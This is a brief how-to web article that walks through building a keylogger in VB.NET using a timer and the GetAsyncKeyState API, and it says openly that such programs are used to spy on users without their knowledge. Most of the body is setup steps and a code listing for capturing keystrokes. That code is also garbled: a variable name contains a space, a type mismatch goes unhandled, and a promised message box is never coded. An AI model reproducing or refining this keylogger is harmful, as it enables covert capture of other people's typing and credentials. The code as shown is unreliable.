How to make a keylogger in vb

Written by jaime avelar
  • Share
  • Tweet
  • Share
  • Pin
  • Email
How to make a keylogger in vb
Capture keys using VB.NET. (keyboard image by Fyerne from

Knowing how to make a keylogger using Microsoft Visual Basic.NET (VB.NET) can save you time when you need to develop an application that captures all keys typed. Keylogger programs are commonly used to spy or obtain information without the user finding out the program is running. Laws vary by country on how you can use a keylogger program.

Skill level:

Things you need

  • Microsoft Visual Basic Express

Show MoreHide


  1. 1

    Start Microsoft Visual Basic Express. Click "New Project..." on the left pane of your screen, then select "Windows Forms Application." Click "OK."

  2. 2

    Double-click "Timer" on the "Toolbox" pane to add a new timer control. Right-click "Timer1," then select "Properties." Next to "Enabled," select "True." Double-click "Timer1" to open the "Form1.vb" window.

  3. 3

    Type the following code above "Timer1_Tick" to declare the "GetAsyncKeystate" function:

    Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Int32) As UShort

  4. 4

    Type the following code under "Timer1_Tick" to capture keys typed while the application is running:

    Dim key Result As Integer

        Dim chrKey As String
        Dim i As Integer
        For i = 2 To 90
            key Result = 0
            key Result = GetAsyncKeystate(i)
            If key Result = -32767 Then
                chrKey = Chr(i)
                Exit For
            End If
        Next i
  5. 5

    Press "F5" to run the program, then press "B" on the keyboard and you will see a message box displayed with the letter "B."

Don't Miss

  • All types
  • Articles
  • Slideshows
  • Videos
  • Most relevant
  • Most popular
  • Most recent

No articles available

No slideshows available

No videos available

By using the site, you consent to the use of cookies. For more information, please see our Cookie policy.